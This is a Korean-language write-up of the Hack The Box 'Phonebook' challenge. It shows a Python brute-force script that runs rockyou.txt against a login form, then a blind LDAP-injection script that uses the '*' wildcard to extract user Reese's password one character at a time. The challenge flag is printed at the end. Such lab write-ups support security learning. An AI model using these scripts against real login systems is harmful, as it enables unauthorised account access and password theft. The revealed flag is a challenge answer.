[HTB] Phonebook Writeup
주어진 URL에 접근해보자.
별로 주어지는 정보가 없어, gobuster도 돌려보고, sqli도 시도해보고 등등 해봤지만, 수확이 없었다.
어쨌든 하단의 Reese로 부터 메시지가 있는 것으로 보아 Reese의 계정을 탈취해보기로 하고 Bruteforce 공격을 시도했다.
import requests
url = "http://167.172.52.160:31677/login"
with open("/usr/share/wordlists/rockyou.txt","r",encoding='iso-8859-1') as file:
for password in file:
data = {
"username": "Reese",
"password": password
}
res = requests.post(url, data=data)
response = res.text
if "You can now login using the workstation username and password! - Reese" not in response :
print("[*] password id : " + password)
break
꽤 오랜 시간동안 돌아가서(매칭되는 패스워드가 없어서) 다른 방법이 없나 보다가 굳이 workstation의 계정 정보로 로그인 할 수 있다는 메시지를 줬다는 것이 신경쓰였다.
workstation에서 Active Directory를 사용하는 경우 LDAP 프로토콜을 사용하기 때문에 LDAP 인젝션을 시도해보았다.
https://www.hahwul.com/cullinan/ldap-injection/
LDAP Injection
🔍 Introduction LDAP Injeciton은 LDAP(Lightweight Directory Access Protocol)에 대한 Injection 공격으로 사용자의 입력값이 LDAP Query에 직접 영향을 끼칠 수 있을 때 이를 통해 비정상적인 LDAP 동작을 유도하는 공격
www.hahwul.com
바로 유효하여 ID : Reese / Password : * 로 로그인을 할 수 있었다.
로그인 후에 Phonebook 관련 기능을 살펴보았지만 별다른 특이점을 찾지 못했다.
그래서 혹시 관리자의 패스워드가 플래그가 아닐까 싶어 Reese / HTB{* 로 로그인을 시도해봤는데 성공하였다.
따라서 Reese 계정의 패스워드가 플래그인것을 알아냈고 아래 코드를 통해 한글자씩 대입하여 플래그를 추출해내었다.
import requests
import string
url = "http://157.245.32.12:32514/login"
chars = string.ascii_letters+string.digits+"_}"
buffer = ''
while "}" not in buffer:
for i in range(len(chars)):
password = "HTB{"+buffer+chars[i]+"*"
print("trying .. "+password)
data = {
"username": "Reese",
"password": password
}
res = requests.post(url, data=data)
response = res.text
if "You can now login using the workstation username and password! - Reese" not in response :
buffer += chars[i]
print("HTB{"+buffer)
break
print("[*] Flag is " + "HTB{" +buffer)
FLAG = HTB{d1rectory_h4xx0r_is_k00l}